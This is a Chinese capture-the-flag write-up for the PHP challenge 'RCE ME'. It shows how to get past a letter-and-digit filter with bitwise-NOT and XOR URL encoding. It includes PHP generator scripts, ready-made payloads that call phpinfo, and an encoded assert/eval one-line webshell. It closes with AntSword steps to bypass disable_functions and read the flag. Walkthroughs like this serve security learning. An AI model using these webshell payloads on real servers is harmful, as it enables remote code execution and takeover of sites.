【[极客大挑战 2019]RCE ME 1】

题目

代码分析

过滤了大小写字母和数字，传入函数后可以执行，我们先尝试传入phpinbfo，再尝试传入一句话木马。

传入phpinfo

我们的目标是传入phpinfo执行
有两种方式可以绕过
1、取反绕过：取反后url编码
取反后，url解码会解成不可打印字符，绕过过滤

<?php
$a = 'phpinfo';
$b = urlencode(~$a);
$c = '(~'.$b.')();';
echo $c;
?>

结果：(~%8F%97%8F%96%91%99%90)();
2、异或绕过
结果：(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)();

payload：?code=(~%8F%97%8F%96%91%99%90)();
get传入后得到phpinfo界面
搜索flag无果
发现禁用的函数

传入一句话木马

接下来我们尝试构造一句话木马
eval 属于PHP语法构造的一部分，eval()是一个语言构造器，不能被可变函数调用，所以不能通过 变量函数的形式来调用
assert不可以执行’echo 1’等命令
我们使用的一句话木马：(assert)(eval($_POST[“test”]))

取反：

<?php

//(assert)(eval($_POST['g']))
$a = 'assert';
$b = urlencode(~$a);
$c = '(eval($_POST[g]))';
$d = urlencode(~$c);
$e = '(~'.$b.')'.'(~'.$d.')';
echo $e;
?>

结果：
(_{%9E%8C%8C%9A%8D%8B)(}%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%98%A2%D6%D6)

用蚁剑连接

发现flag但是无法查看，需要用插件绕过

使用插件读取flag

利用蚁剑中自带的插件：绕过diasble_functions
(这个插件只能在linux中使用)


点击开始，然后readflag